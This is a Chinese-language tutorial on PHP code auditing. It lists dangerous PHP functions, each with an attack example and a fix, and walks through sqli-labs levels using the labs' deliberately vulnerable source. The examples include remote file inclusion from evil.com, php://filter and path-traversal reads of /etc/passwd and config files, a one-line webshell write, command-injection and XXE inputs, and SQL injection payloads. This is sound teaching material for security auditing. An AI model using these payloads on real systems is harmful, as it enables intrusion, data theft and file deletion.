免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
一:PHP代码审计准备工作
安装如下工具
PHPStorm | SQLyog | 虚拟机 | Burpsuite | PHPStudy | Seay 源代码审计系统 |
---|
1. PHPStorm
-
安装步骤:
-
访问 JetBrains官网 下载对应系统版本。
-
运行安装程序,按向导完成安装。
-
启动后选择试用(30天)或使用激活码激活(需购买或获取教育/开源许可证)。
-
找博主免费领取PHPstorm免费ban资料)!!!!!!
-
2. SQLyog
-
安装步骤:
-
访问 SQLyog官网 下载安装包。
-
运行安装程序,按提示完成安装。
-
打开后输入数据库连接信息(主机、用户、密码)即可管理MySQL。
-
其他数据库也可以例如navicat
-
3. 虚拟机
-
安装步骤:
-
访问VMware官网下载安装包。
-
双击安装,按默认配置完成。
-
创建新虚拟机时选择系统镜像(如Windows/Linux)并分配资源。
-
4. Burp Suite
-
安装步骤:
-
访问 PortSwigger官网 下载社区版(免费)或专业版(付费)。
-
确保已安装Java环境(需JDK 8+)。
-
博主此前以出过关于最新版bp安装方法
-
5. PHPStudy
-
安装步骤:
-
访问 PHPStudy官网 下载Windows版。
-
运行安装程序,选择安装路径(建议默认)。
-
安装完成后启动,一键开启Apache + MySQL服务。
-
6. Seay 源代码审计系统
-
安装步骤:
-
通过搜索引擎查找下载链接(注意安全,建议从可信渠道获取)。
-
解压安装包到本地目录。
-
运行主程序
SeayAudit.exe
(部分系统需管理员权限)。 -
找博主免费领取下载包
-
以上为简洁安装方法具体安装方法询问博客或自行到博客找文章安装
二:PHP代码审计流程
1. 通读全文法
适用场景:小型项目、框架核心代码或需要全面覆盖的审计。
核心思路:逐行阅读代码,理解整体架构和数据流向,重点关注安全机制(如输入过滤、权限控制)。
步骤:
-
入口点定位:
-
查找
index.php
、路由配置文件(如Laravel的routes/web.php
)和前端控制器。
// index.php 示例(入口文件)
require_once 'bootstrap.php';
$router->dispatch($_SERVER['REQUEST_URI']); -
-
路由跟踪:
-
分析URL如何映射到控制器和方法,例如:
// Laravel路由示例(routes/web.php)
Route::get('/user/{id}', 'UserController@show'); -
-
全局过滤检查:
-
检查是否统一处理输入过滤(如全局中间件):
// 全局XSS过滤中间件
class XssMiddleware {
public function handle($request, $next) {
$input = $request->all();
array_walk_recursive($input, function(&$item) {
$item = htmlspecialchars($item, ENT_QUOTES, 'UTF-8');
});
$request->merge($input);
return $next($request);
}
} -
-
安全机制验证:
-
检查CSRF防护、Session管理等安全配置:
// CSRF Token验证(Laravel Blade模板)
<form method="POST">
@csrf
<!-- 表单内容 -->
</form> -
2. 敏感函数参数回溯法
适用场景:快速定位高危漏洞(如SQL注入、文件包含)。
核心思路:从敏感函数(如SQL查询、文件操作)出发,回溯参数是否受用户输入控制且未过滤。
步骤:
-
敏感函数清单:
-
数据库操作:
mysqli_query()
,PDO::query()
-
文件操作:
include()
,file_get_contents()
-
命令执行:
exec()
,system()
-
反序列化:
unserialize()
-
-
参数回溯示例(SQL注入):
// 漏洞代码:用户输入直接拼接SQL
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id"; // 敏感函数参数点
$result = mysqli_query($conn, $sql);// 回溯$id来源:未过滤的$_GET['id']
-
修复验证:
-
检查是否使用预处理或过滤:
// 修复代码(使用PDO预处理)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]); -
3. 定向功能分析法
适用场景:针对特定高危功能模块(如登录、支付、文件上传)深度审计。
核心思路:聚焦高风险功能,结合业务逻辑挖掘漏洞。
步骤(以文件上传为例):
-
功能定位:
-
查找文件上传表单和处理逻辑:
// 文件上传处理代码(upload.php)
$file = $_FILES['file'];
move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']); -
-
漏洞检测:
未验证文件类型:仅检查文件名后缀(可绕过):
// 危险示例:仅检查后缀名
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if ($ext == 'jpg') { /* 允许上传 */ }未重命名文件:保留原始文件名可能导致覆盖或执行恶意文件。
-
安全修复:
// 修复示例:验证MIME类型 + 随机文件名
$allowed_mime = ['image/jpeg', 'image/png'];
if (in_array($file['type'], $allowed_mime)) {
$new_name = md5(uniqid()) . '.jpg'; // 强制后缀
move_uploaded_file($file['tmp_name'], 'uploads/' . $new_name);
}
流程选择建议
方法 |
适用场景 |
优点 |
缺点 |
---|---|---|---|
通读全文法 |
小型项目、框架核心逻辑 |
全面覆盖 |
耗时 |
敏感函数参数回溯法 |
快速定位已知漏洞模式 |
高效精准 |
可能遗漏逻辑漏洞 |
定向功能分析法 |
高风险功能模块(如支付、上传) |
聚焦业务逻辑漏洞 |
依赖审计经验 |
实战技巧
-
结合工具加速审计:
-
使用 Seay 源代码审计系统 扫描敏感函数,人工验证结果。
-
用 Burp Suite 拦截请求,测试输入点(如修改
id=1
为id=1'
触发SQL报错)。
-
-
关注二次漏洞:
-
数据从数据库读取后未再次过滤(如存储型XSS):
// 从数据库读取内容直接输出(未转义)
echo $user['bio']; // 若bio字段存储了恶意脚本,触发XSS -
-
框架特性检查:
-
例如Laravel的
Mass Assignment
(批量赋值漏洞):
// 漏洞示例:User模型未设置$fillable
User::create($request->all()); // 攻击者可传入is_admin=1提权 -
三:PHP代码中的各类函数
1.危险函数
分类 | PHP 危险函数 |
---|---|
文件包含类 | include、require、include_once、require_once |
代码执行类 | eval、assert、preg_replace、create_function |
系统命令执行类 | system、passthru、exec、shell_exec |
文件读取类 | file_get_contents、fread、readfile、file、show_source |
文件写入与目录操作类 | file_put_contents、fwrite、mkdir、unlink、rmdir |
文件移动复制重命名类 | move_uploaded_file、copy、rename |
变量处理类 | extract、parse_str |
XML 处理类 | simplexml_load_files、simplexml_load_string |
反序列化类 | unserialize |
解码类 | urldecode、base64_decode |
危险函数部分使用方法
(1) include
-
功能:动态包含并执行指定文件。
-
危险原因:若参数可控且未过滤,可导致本地文件包含(LFI)或远程文件包含(RFI)。
-
攻击示例:
// 用户控制$_GET['page']为恶意路径 include($_GET['page'] . ".php"); // 如传入:?page=http://evil.com/shell,可能加载远程恶意代码
-
防御方法:
-
禁用
allow_url_include
(默认关闭)。 -
固定文件路径前缀,如
include("./pages/" . basename($_GET['page']) . ".php");
-
(2) require_once
-
功能:与
include
类似,但文件未找到时会抛出致命错误,且确保文件只包含一次。 -
危险原因:同
include
,但更常用于核心文件加载,易被利用。 -
攻击示例:
// 通过伪协议读取敏感文件 require_once($_GET['config']); // 传入?config=php://filter/convert.base64-encode/resource=/etc/passwd
-
防御方法:
-
避免动态包含用户可控路径。
-
使用白名单限制可包含文件。
-
2. 代码执行类
(1) eval()
-
功能:将字符串作为PHP代码执行。
-
危险原因:直接执行用户输入代码,导致远程代码执行(RCE)。
-
攻击示例:
$code = $_GET['code']; eval($code); // 传入?code=system('id');
-
防御方法:
-
避免使用
eval
,改用安全的逻辑替代。 -
严格过滤输入(如禁用分号、括号等符号)。
-
(2) preg_replace()
(使用/e
修饰符时)
-
功能:正则替换字符串,
/e
修饰符允许替换字符串作为PHP代码执行。 -
危险原因:
/e
修饰符已被弃用(PHP 5.5+),但历史代码中仍存在风险。 -
攻击示例:
preg_replace('/(' . $_GET['pattern'] . ')/e', 'system("id")', 'test');
-
防御方法:
-
禁用
/e
修饰符,使用preg_replace_callback
替代。
-
3. 系统命令执行类
(1) system()
-
功能:执行系统命令并输出结果。
-
危险原因:直接执行用户输入命令,导致命令注入。
-
攻击示例:
$cmd = $_GET['cmd'];
system("ping " . $cmd); // 传入?cmd=127.0.0.1; id -
防御方法:
-
使用白名单限制命令参数。
-
转义参数(如
escapeshellarg($cmd)
)。
-
(2) exec()
-
功能:执行系统命令,返回最后一行输出。
-
危险原因:同
system()
,但输出更隐蔽。 -
攻击示例:
exec($_GET['cmd'], $output);
-
防御方法:
-
避免直接拼接用户输入到命令中。
-
使用
escapeshellcmd()
过滤命令。
-
4. 文件读取类
(1) file_get_contents()
-
功能:读取文件内容到字符串。
-
危险原因:可控参数可读取任意文件(如
/etc/passwd
)。 -
攻击示例:
$file = $_GET['file'];
echo file_get_contents($file); // 传入?file=../../.env -
防御方法:
-
限制文件路径范围,如
file_get_contents("./uploads/" . basename($file))
。
-
(2) readfile()
-
功能:直接输出文件内容到浏览器。
-
危险原因:可泄露源码或敏感文件。
-
攻击示例:
readfile($_GET['file']); // 传入?file=config.php
-
防御方法:
-
禁止用户控制文件路径。
-
检查文件扩展名和路径合法性。
-
5. 文件写入与目录操作类
(1) file_put_contents()
-
功能:将内容写入文件。
-
危险原因:可控文件名或内容可导致任意文件写入。
-
攻击示例:
file_put_contents($_GET['file'], $_POST['data']); // 写入webshell
-
防御方法:
-
校验文件名合法性(如后缀名)。
-
限制写入目录权限。
-
(2) unlink()
-
功能:删除文件。
-
危险原因:可控参数可导致任意文件删除。
-
攻击示例:
unlink($_GET['file']); // 传入?file=../../index.php
-
防御方法:
-
校验文件路径是否在允许范围内。
-
记录文件删除操作日志。
-
6. 变量处理类
(1) extract()
-
功能:从数组中将变量导入当前符号表。
-
危险原因:覆盖已有变量,导致变量覆盖漏洞。
-
攻击示例:
extract($_GET); // 传入?is_admin=1,覆盖原$is_admin变量
-
防御方法:
-
禁用
extract()
,或使用EXTR_SKIP
参数避免覆盖。
-
(2) parse_str()
-
功能:将字符串解析为变量。
-
危险原因:未传入第二个参数时,直接注册全局变量。
-
攻击示例:
parse_str($_SERVER['QUERY_STRING']); // 传入?is_admin=1,注册$is_admin变量
-
防御方法:
-
始终传入第二个参数存储解析结果:
parse_str($input, $output)
。
-
7. XML处理类
(1) simplexml_load_string()
-
功能:将XML字符串解析为对象。
-
危险原因:未禁用外部实体时,可导致XXE攻击。
-
攻击示例:
<!-- 恶意XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>运行 HTML
-
防御方法:
-
禁用外部实体加载:
libxml_disable_entity_loader(true);
-
(2) simplexml_load_file()
-
功能:解析XML文件为对象。
-
危险原因:同
simplexml_load_string
,支持远程文件加载。 -
攻击示例:
simplexml_load_file($_GET['url']); // 传入恶意XML URL
-
防御方法:
-
避免加载用户可控的XML文件。
-
8. 反序列化类
(1) unserialize()
-
功能:将序列化字符串还原为PHP值。
-
危险原因:反序列化恶意数据可触发对象注入漏洞。
-
攻击示例:
class Example {
public $cmd = "echo 'safe'";
function __destruct() { system($this->cmd); }
}
unserialize($_COOKIE['data']); // 传入序列化的Example对象修改$cmd为恶意命令 -
防御方法:
-
避免反序列化不可信数据。
-
使用
json_encode()
/json_decode()
替代。
-
9. 解码类
(1) urldecode()
-
功能:解码URL编码字符串。
-
危险原因:多次解码可能绕过过滤逻辑。
-
攻击示例:
$input = urldecode($_GET['data']); // 传入双重编码的Payload
-
防御方法:
-
仅解码一次,并在过滤后使用。
-
(2) base64_decode()
-
功能:解码Base64字符串。
-
危险原因:用于隐藏恶意Payload。
-
攻击示例:
eval(base64_decode($_POST['code'])); // 传入Base64编码的恶意代码
-
防御方法:
-
避免解码后直接执行代码。
-
2.代码执行函数
函数名 | 功能描述 |
---|---|
eval | 把字符串作为 PHP 代码执行,常见于 webshell 执行具体操作 |
assert | 把字符串作为 PHP 代码执行 |
preg_replace | 正则表达式函数 |
1. assert()
-
功能:
-
将字符串参数作为 PHP 代码执行,并返回布尔值(断言结果为
false
时抛出警告)。 -
常用于调试,但易被滥用执行任意代码。
-
-
危险原因:
-
若参数可控,可导致远程代码执行(RCE)。
-
与
eval()
不同,assert()
默认在错误时仅警告而非终止程序。
-
-
攻击示例:
$code = $_GET['code']; assert("strpos($code, 'test') !== false"); // 传入 ?code='test') === false || system('id') || (1 // 实际执行代码:strpos('test') === false || system('id') || (1, ...)
-
防御方法:
-
避免使用
assert()
处理动态输入。 -
禁用
assert()
函数(在php.ini
中设置assert.active=0
)。
-
2. preg_replace()
(使用/e
修饰符时)
-
功能:
-
正则替换字符串,
/e
修饰符允许将替换字符串解析为PHP代码(PHP 5.5+已弃用,PHP7+移除)。 -
/e
修饰符:使替换字符串(第二个参数)被当作PHP代码执行,其返回值用于替换匹配内容
-
-
危险原因:
-
用户可控的正则表达式或替换字符串可导致代码注入。
-
-
攻击示例:
// 示例1:直接执行代码 preg_replace('/./*e', 'system("id")', 'test'); // 直接执行`system("id")` // 示例2:用户可控替换逻辑 $pattern = $_GET['pattern']; preg_replace("/$pattern/e", $_GET['replace'], 'data'); //替换内容 // 传入 ?pattern=.*&replace=system("id") //替换规则
构造正则表达式:/.*/e(匹配整个字符串)。
执行替换操作:将匹配到的内容(即data)替换为system("id")的执行结果。
实际效果:直接执行system("id")命令,输出服务器用户信息。
-
绕过技巧:
-
利用正则表达式特性:如
/.*/e
匹配任意内容并触发替换代码。 -
动态拼接Payload:通过输入构造可执行的PHP代码字符串。
-
-
防御方法:
-
禁用
/e
修饰符(升级到PHP7+已移除该功能)。 -
使用
preg_replace_callback()
替代,避免动态执行代码。// 安全替代方案 preg_replace_callback('/pattern/', function($matches) { return strtoupper($matches[0]); }, $input);
-
3.文件操作函数
函数名 | 功能 |
---|---|
copy | 拷贝文件 |
file_get_contents | 将整个文件读入一个字符串 |
file_put_contents | 将一个字符串写入文件 |
unlink | 删除文件 |
rmdir | 删除目录 |
1. copy
(文件拷贝)
功能
将源文件复制到目标路径,若目标文件存在则覆盖。
危险原因
-
可控路径风险:若用户能控制源文件或目标路径,可能导致任意文件拷贝或覆盖。
-
敏感文件泄露/破坏:如复制配置文件、日志文件,或覆盖系统关键文件。
攻击示例
$source = $_GET['source']; // 用户可控输入
$target = $_GET['target'];
copy($source, $target);
-
攻击输入:
?source=/etc/passwd&target=public/passwd.txt
效果:将系统用户信息文件复制到Web目录,导致敏感信息泄露。
防御方法
-
固定路径前缀:限制文件操作目录范围。
$source = 'uploads/' . basename($_GET['source']);
$target = 'backups/' . basename($_GET['target']); -
白名单校验:仅允许操作指定扩展名的文件。
if (!preg_match('/\.txt$/', $source)) {
die("非法文件类型!");
}
2. file_get_contents
(文件读取)
功能
将整个文件内容读取为字符串,支持本地文件和远程URL(需开启allow_url_fopen
)。
危险原因
-
任意文件读取:用户控制路径时可读取服务器敏感文件(如
.env
、config.php
)。 -
SSRF攻击:若允许远程URL,可探测内网服务。
攻击示例
$file = $_GET['file'];
echo file_get_contents($file);
-
攻击输入:
?file=php://filter/convert.base64-encode/resource=config.php
效果:通过伪协议Base64编码读取PHP源码,绕过直接输出限制。
防御方法
-
禁用远程文件读取:在
php.ini
中设置:allow_url_fopen = Off
-
路径限制:
$allowed_dir = '/var/www/uploads/';
$file = realpath($allowed_dir . $_GET['file']);
if (strpos($file, $allowed_dir) !== 0) {
die("非法路径!");
}
3. file_put_contents
(文件写入)
功能
将字符串内容写入文件,支持创建新文件或覆盖已有文件。
危险原因
-
任意文件写入:用户可写入Webshell(如
.php
文件)或篡改关键文件。 -
路径穿越漏洞:若路径未过滤,可写入系统目录。
攻击示例
$data = $_POST['data'];
file_put_contents($_GET['file'], $data);
-
攻击输入:
GET参数:?file=shell.php
POST参数:data=<?php system($_GET['cmd']); ?>效果:写入Webshell,攻击者可通过
?cmd=id
执行任意命令。
防御方法
-
禁用危险函数:
disable_functions = file_put_contents
-
内容过滤:
if (preg_match('/<\?php/i', $data)) {
die("禁止写入PHP代码!");
}
4. unlink
(文件删除)
功能
删除指定路径的文件。
危险原因
-
任意文件删除:攻击者可删除关键文件(如数据库配置、锁文件),导致服务瘫痪。
攻击示例
$file = $_GET['file'];
unlink($file);
-
攻击输入:
?file=../../index.php
效果:删除网站入口文件,导致服务不可用。
防御方法
-
权限隔离:Web服务器用户无权删除系统文件。
-
路径校验:
$allowed_dir = '/var/www/tmp/';
$file = realpath($allowed_dir . basename($_GET['file']));
if (strpos($file, $allowed_dir) !== 0) {
die("非法操作!");
}
5. rmdir
(目录删除)
功能
删除空目录。
危险原因
-
目录删除:攻击者利用路径穿越删除重要目录(如日志目录),破坏应用运行。
攻击示例
$dir = $_GET['dir'];
rmdir($dir);
-
攻击输入:
?dir=../../logs
效果:删除日志目录,导致日志功能失效或数据丢失。
防御方法
-
递归删除保护:禁止用户控制递归删除操作。
-
目录白名单:
$allowed_dirs = ['temp_uploads', 'cache'];
if (!in_array($_GET['dir'], $allowed_dirs)) {
die("非法目录!");
4.包含函数
函数相关信息 | 详情 |
---|---|
函数名称 | include |
函数作用 | 包含并运行指定文件。当被包含文件中的变量等代码会在当前文件中生效。在$file 可控时,可能被利用来包含任意文件,存在安全风险,可被用于 getshell。还可结合支持的协议、封装协议和过滤器读取任意文件内容 |
危险原因
1. 任意文件包含(LFI/RFI)
-
风险场景:当
include
的参数($file
)直接或间接来自用户输入且未严格过滤时。// 示例:动态包含页面
$page = $_GET['page'];
include($page . '.php'); -
攻击方式:
-
本地文件包含(LFI):读取服务器敏感文件。
GET /?page=../../../../etc/passwd%00
-
效果:利用路径遍历(
../
)和空字节截断(PHP < 5.3.4)读取系统文件。
-
-
远程文件包含(RFI):加载远程恶意脚本(需
allow_url_include=On
)。GET /?page=http://evil.com/shell.txt
-
效果:执行远程服务器上的PHP代码(如Webshell)。
-
-
2. 协议与过滤器利用
PHP支持的协议和过滤器可绕过常规文件操作限制:
-
敏感文件读取:
GET /?page=php://filter/convert.base64-encode/resource=config.php
-
效果:通过Base64编码读取PHP源码,避免直接输出导致代码执行。
-
输出结果:
PD9waHAgJHB3ZCA9ICJyb290OjEyMzQ1NiI7ID8+ // config.php的Base64编码内容
-
-
输入流攻击(需
allow_url_include=On
):POST /?page=php://input
Body: <?php system("id"); ?>-
效果:直接执行POST Body中的PHP代码。
-
漏洞利用后果
攻击类型 |
利用方式 |
危害示例 |
---|---|---|
Webshell植入 |
包含远程或本地恶意脚本 |
攻击者控制服务器,执行任意命令。 |
敏感信息泄露 |
读取 |
泄露用户凭证、系统信息。 |
服务中断 |
包含不存在的文件或特殊设备文件(如 |
触发PHP错误,耗尽内存或磁盘空间。 |
防御方案
禁止用户控制文件路径
-
最佳实践:避免动态包含用户输入的文件。
// 安全示例:使用白名单机制
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include('404.php');
}
严格过滤输入
-
路径规范化:
$file = basename($_GET['file']); // 去除路径中的../等字符
$file = str_replace(['/', '\\'], '', $file); // 禁止目录分隔符
include('./pages/' . $file . '.php');
服务器配置加固
-
禁用高危设置:
; php.ini
allow_url_include = Off ; 禁止远程文件包含
allow_url_fopen = Off ; 禁止远程文件操作
disable_functions = include,require // 极端情况下禁用函数(慎用)
使用安全替代方案
-
静态包含:提前定义允许包含的文件列表。
-
模板引擎:使用Twig、Smarty等引擎,自动转义输入。
// Twig示例(自动过滤动态内容)
$loader = new \Twig\Loader\FilesystemLoader('./templates');
$twig = new \Twig\Environment($loader);
echo $twig->render($_GET['page'] . '.html');
5.命令执行函数
函数 | 功能描述 | 返回值 |
---|---|---|
exec() |
执行外部系统命令,默认返回命令输出的最后一行。可通过第二个参数获取完整输出数组。 | 成功时返回最后一行输出。 失败返回 false 。 |
system() |
执行外部系统命令,并直接将输出内容打印到标准输出(如浏览器或命令行)。 | 成功时返回输出的最后一行。 失败返回 false 。 |
危险原因:命令注入攻击
当用户输入未经严格过滤直接传递给这两个函数时,攻击者可通过构造恶意输入执行任意系统命令。
攻击示例:
// 示例代码(存在漏洞)
$user_input = $_GET['cmd'];
exec("ping " . $user_input); // 或 system("ping " . $user_input);
攻击输入:
http://example.com/?cmd=127.0.0.1; id
实际执行的命令:
ping 127.0.0.1; id
效果:
-
ping 127.0.0.1
正常执行。 -
id
命令被执行,返回当前用户信息(如uid=1000(www-data)
),导致敏感信息泄露。
常见攻击场景
攻击目标 |
恶意输入示例 |
危害 |
---|---|---|
服务器文件删除 |
|
删除服务器所有文件,导致服务瘫痪。 |
Webshell写入 |
|
植入Webshell,进一步控制服务器。 |
内网探测 |
|
探测内网服务,扩大攻击范围。 |
防御方法
避免直接拼接用户输入
-
错误写法:
exec("ping " . $_GET['ip']); // 直接拼接,高风险!
-
安全替代方案:
// 使用白名单限制输入内容(仅允许数字和点)
$ip = $_GET['ip'];
if (preg_match('/^[0-9.]+$/', $ip)) {
exec("ping -c 4 " . escapeshellarg($ip));
} else {
die("Invalid IP address!");
}
转义用户输入
-
使用
escapeshellarg()
或escapeshellcmd()
:$input = $_GET['input'];
// 转义参数(推荐)
exec("ls " . escapeshellarg($input));
// 转义整个命令(慎用)
system(escapeshellcmd("ls " . $input));
禁用危险函数
在php.ini
中禁用相关函数:
disable_functions = exec,system,passthru,shell_exec
(4) 限制运行权限
-
确保PHP进程以低权限用户运行(如
www-data
),无权执行敏感操作。 -
使用容器化技术隔离PHP环境。
exec()
与 system()
的选择建议
场景 | 推荐函数 | 原因 |
---|---|---|
需获取完整命令输出 | exec() |
通过第二个参数接收输出数组,便于处理。 |
需实时显示命令输出(如命令行工具) | system() |
直接输出结果,适合调试场景。 |
高安全要求环境 | 均禁用 | 使用PHP内置函数替代(如file_get_contents() 代替curl )。 |
四:PHP代码审计--sqli-labs靶场
1.SQL注入流程--反向查找
流程步骤 | 具体操作 | 示例 |
---|---|---|
1. 通过可控变量回溯危险函数 | 从用户输入点(如 $_GET 、$_POST )出发,追踪数据流向,判断是否传递到危险函数。 |
$id = $_GET['id'] → $sql = "SELECT * FROM users WHERE id = $id" (SQL注入风险) |
2. 查找危险函数确定可控变量 | 全局搜索危险函数(如 exec() 、include() ),逆向分析其参数是否被用户输入控制且未过滤。 |
搜索 eval( → 发现 eval($_POST['code']) (命令执行漏洞) |
3. 在传递过程中触发漏洞 | 验证数据传递路径是否存在过滤缺失或绕过手段,构造Payload触发漏洞。 | 测试 file=../../etc/passwd 触发路径遍历漏洞(include($_GET['file']) ) |
反向查找特点对比表
特点 | 说明 | 场景示例 |
---|---|---|
暴力 | 通过全局搜索快速定位危险函数(如 grep 、ripgrep 工具扫描)。 |
rg --php 'eval\(' /path/to/code 搜索所有 eval() 调用。 |
简单 | 无需深入理解业务逻辑,仅需识别敏感函数与输入点。 | 发现 system($_GET['cmd']) 直接判定为命令注入漏洞。 |
快速 | 适合自动化工具批量扫描(如RIPS、Fortify)。 | 工具自动标记 unserialize($_COOKIE['data']) 为反序列化漏洞。 |
命中率低 | 现代框架普遍使用ORM、预处理等技术,简单漏洞减少。 | Laravel 的 User::find($id) 自动使用预处理,无法通过反向查找发现SQL注入。 |
适应性较差 | 全局过滤机制(如中间件统一处理输入)会导致误判或漏报。 | 全局中间件对 $_GET 做了XSS过滤,但某处 echo $unfiltered_var 仍可能被遗漏。 |
无法挖掘逻辑漏洞 | 逻辑漏洞通常与业务设计相关(如越权、支付绕过),不涉及危险函数。 | 用户A通过修改URL参数 /user/123/profile → /user/456/profile 访问他人数据。 |
反向查找适用场景
-
老旧代码审计:未使用现代框架且缺乏安全防护的PHP项目。
-
快速初筛:在时间有限时优先检查高风险函数(如
exec()
、unserialize()
)。 -
工具自动化:结合静态分析工具生成初步漏洞报告,人工二次验证。
2.SQL注入流程--正向查找流程
步骤 | 描述 | 示例/说明 |
---|---|---|
第一步 | 从入口函数出发(如 index.php 或框架路由文件)。 |
分析 index.php 中的路由分发逻辑:$router->dispatch($_SERVER['REQUEST_URI']) |
第二步 | 找到控制器,理解URL派发规则(如MVC框架中的路由映射)。到网站中随便点功能观察文件变化 | Laravel 的 routes/web.php 定义 Route::get('/user/{id}', 'UserController@show') |
第三步 | 跟踪控制器调用,以理解代码逻辑为目标进行源码阅读(关注业务逻辑与数据流)。 | 从 UserController@show 方法跟踪到模型 User::find($id) 和视图渲染逻辑。 |
第四步 | 阅读代码过程中,可能发现漏洞(如逻辑漏洞、权限绕过)。 | 发现未验证用户权限的代码:if ($user->is_vip) { /* 解锁高级功能 */ } (未检查是否真实VIP) |
正向查找特点对比表
特点 | 详情 | 场景示例 |
---|---|---|
复杂 | 需要深入理解目标代码的功能模块、架构设计(如分层逻辑、权限控制)。 | 分析电商系统的优惠券核销逻辑时,需跟踪订单生成、支付回调、库存扣减等多个模块。 |
跳跃性大 | 代码可能跨越模型(M)、视图(V)、控制器(C)等多个层级,需跨文件跟踪。 | 从控制器的 $order->save() 跳转到模型的 save() 方法,再跳转到数据库操作层。 |
漏洞的组合 | 常需多个漏洞组合利用(如信息泄露+逻辑绕过)。 | 通过注册接口的用户名枚举漏洞获取管理员账号,结合权限校验缺失直接访问管理后台。 |
潜力无限 | 可挖掘框架特性漏洞、业务逻辑漏洞等高价值安全问题。 | 发现支付系统的金额参数未签名校验,导致任意金额修改(如 amount=0.01 → amount=100 )。 |
正向查找适用场景
-
业务逻辑复杂:如金融、电商等系统需深度分析业务流程。
-
框架定制化代码:针对框架二次开发的功能模块(如自定义中间件、插件)。
-
权限控制漏洞:越权访问、水平/垂直权限提升等逻辑问题。
正向查找是挖掘 高阶漏洞 的核心方法,适合深入安全研究,但需较强的代码理解能力和耐心。
3.SQL注入流程-双向查找流程
步骤 | 双向查找流程内容 |
---|---|
1 | 略读代码,了解架构 |
2 | 判断是否有全局过滤机制 |
3 | 确认找到漏洞点,分析漏洞利用是否存在阻碍 |
双向查找的典型漏洞场景
漏洞类型 | 正向追踪重点 | 反向追踪重点 |
---|---|---|
SQL注入 | 跟踪$_GET 到SQL拼接点 |
搜索mysqli_query() 、PDO::query() |
命令执行 | 检查$_POST 到system() 参数 |
定位exec() 、passthru() 调用点 |
文件包含 | 分析include($_GET['page']) |
搜索include() 、require_once() |
XSS | 跟踪未过滤的输出(如echo $data ) |
检查echo 、print 中的变量来源 |
反序列化 | 追踪unserialize($_COOKIE['data']) |
搜索__destruct() 、__wakeup() |
4.案例分析
选取部分关卡(后续会出靶场全关卡,感兴趣请关注)
1.sqli-labs1
首先我们可以看到黄色标注为1的include函数(这不是我们危险函数中的包含类么?)经过我们的分析这个函数的作用是将../sql-connections/sqli-connect.php 文件包含到当前正在执行的 PHP 脚本里。没有可控变量所以这里不是利用点,然后我们看黄色标注点2,这里的if函数干了一件事,那就是判断是否有id传进来。然后将传进来的id赋值给$id 既然赋值给了$id,那我们就看看这个$id干了什么,然后我们看黄色标注点3,发现$id又将值给了sql语句中的id。所以现在我们就可以发现漏洞点了。看看这个可控变量id是否有过滤条件。经过我们研究发现只要将’ 闭合即可绕过过滤
Payload:?id=1’ or1=1 #
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 # ' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
2.sqli-labs16
和靶场第一关相同只是过滤不同,这的过滤需要双引号加括号
Payload:?id=admin”) or 1=1 #
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-16- Blind- Time Based- Double quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div>
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
<!--Form to post the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/>
</div>
<div> Password :
<input type="text" name="passwd" value=""/>
</div></br>
<div style=" margin-top:9px;margin-left:90px;">
<input type="submit" name="submit" value="Submit" />
</div>
</form>
</div></div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
